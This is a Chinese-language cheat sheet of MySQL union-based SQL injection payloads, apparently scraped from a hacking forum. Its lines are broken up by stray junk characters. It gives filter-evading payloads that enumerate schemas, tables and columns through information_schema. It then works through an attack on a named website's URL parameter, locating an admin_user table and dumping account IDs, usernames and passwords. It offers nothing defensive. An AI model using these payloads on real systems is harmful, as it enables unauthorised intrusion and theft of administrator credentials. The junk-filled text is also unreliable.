mysql注入技巧

admin

查库

id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段

; @! j! J1 F; s- \5 K: p- n7 v/ p8 Qid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
2 n5 q$ f9 ?$ J( g+ D3 ?
' }- Z( z0 K7 d
! C$ \7 f: e* C( Z+ V# c+ @5 omysql5高级注入方法暴表
# C: Y& y* R  c- W" ~; |' S9 n' n. e
+ ~+ T, ?) V" n例子如下:
4 X: @2 E$ V/ R8 ]+ _% g  T
2 ~0 r, g* n. F  s6 K$ K' g3 k+ r' T1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
& l0 e/ r( u$ d" m2 n5 e. J1 b  h这样爆到第4个时出现了admin_user表。
; i8 R9 _/ Z; p4 Q1 N( P
+ j& \' O3 Y: X/ a: i# U2.暴字段
4 f0 d6 X1 J: }" E5 c0 xhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

: c" j5 [' D1 N% c
8 z" n6 ]6 T1 }' h3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
* m3 P* Q2 I& @2 m: \  u
1 N# q. K) O* h) O